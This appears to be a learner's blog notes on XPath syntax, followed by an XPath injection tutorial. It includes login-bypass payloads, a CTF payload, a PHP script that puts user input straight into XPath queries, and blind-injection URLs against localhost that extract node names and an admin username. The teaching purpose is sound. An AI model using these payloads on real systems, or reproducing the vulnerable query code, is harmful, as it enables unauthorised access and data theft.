目录

Learn : http://www.w3school.com.cn/xpath/index.asp

Simple note

Xpath is a languaga to find information in XML.

There are knowledge too much, I don’t want to copy.

Chose node:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bookstore		chose all children_parameters.
/bookstore chose root element bookstore.
/bookstore/book chose all children_paremeters named "root" of bookstore.
//book chose all children_parameters no matter where they are.
bookstore//book chose all children_paremeters named "root" of bookstore no matter where they are.
//@lang chose all attribute named "lang".

/bookstore/book[1]
/bookstore/book[last()]
/bookstore/book[last()-1]
/bookstore/book[position()<3]
//title[@lang]
//title[@lang='eng']
/bookstore/book[price>35.00]
/bookstore/book[price>35.00]/title

* ALL node.
@* ALL node which have any attribute.
node() ALL type of node.

//book/title | //book/price
//title | //price
/bookstore/book/title | //price

USE:

1
2
3
4
5
6
var xmlDoc=new XMLHttpRequest()

Chose nodes:
IE : xmlDoc.selectNodes(xpath);
Other : xmlDoc.evaluate(xpath, xmlDoc, null, XPathResult.ANY_TYPE,null);

XPath Injection

A example:

1
2
3
4
5
6
7
8
9
10
11
12
13
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>

A website use XML to store the username and password. There is his normal query statement:

Query basic statement:

//user/user[loginID/text()='abc' and password/text()='test123']

Only if loginID and password is correct the user can get the result.

If Input loginID and password = '' or 1=1 , the hacker can bypass the veryfication.

//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]

So, XPath injection just like SQL, try to use some evil statement to get all content in XML.

Practice

01

Use the Reference 1 to practice:

Request = http://localhost/test.php?name=admin' or ‘1’=’1&pwd

xpath=/root/users/user[username/text()='admin' or '1'='1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

If you don’t know the username, you can use tow “or” to bypass the verification logic.

http://localhost/test.php?name=fake' or '1'or'1&pwd=fake

It will return all username.

02

This is a CTF.

It filter all sql injection statement, So we should use xpath to inject.

This is important statement: $query="user/username[@name='".$user."']";

We can structure user=']//*|anyword[

First , we close the [] and then we use //* to get all username.

03

A example of use XPath with PHP:

1
2
3
4
5
6
7
8
9
10
11
<peo name='vk'>
<subject>
<foo>english</foo>
<score>100</score>
</subject>
<subject>
<foo>chinese</foo>
<score>100</score>
</subject>
<password>vk123</password>
</peo>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if (file_exists('score.xml')){
$xml = simplexml_load_file('score.xml'); //获取xml文件里面的数据
if (isset($_GET['user'])){
$user = $_GET['user'];

//构造语句
$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
$ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score";
$en_qu = $xml -> xpath($en_scr);
$ch_qu = $xml -> xpath($ch_scr);
foreach ($en_qu as $key => $value) {
echo $user.':<br>english is '.$value;
}
foreach ($ch_qu as $key => $value) {
echo '<br>'.'chinese is '.$value;
}
}else{
echo 'only have three user: vk, tom, helen.';
}
}
?>

$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";

Get the peo of the attribute name=user and then find the score of the child element whose foo is english in the subject.

Bypass: name=tom}'] | //* | //*['{

04

XPath blind injection:

Because I haven’t the enough example, so I just learn the thought of how to use it in easy way.

Use the code of example 01.

  1. Judge the nodes’ number of root.

127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake

  1. Guess the first node.

127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake

result : root

  1. Judge the number of next node of root:

127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake

  1. Guess the net node of root:

127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake

result: users,secret

Guess the value of username which id = 1:

127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

result: admin

DIG

If a website use XML to store privacy information and use XPath to control it and there haven’t waf to statement of input. So there is a XPath injection.

A lack of example. Maybe the vulunery is difficult to meet.

Tips

or and = |

Reference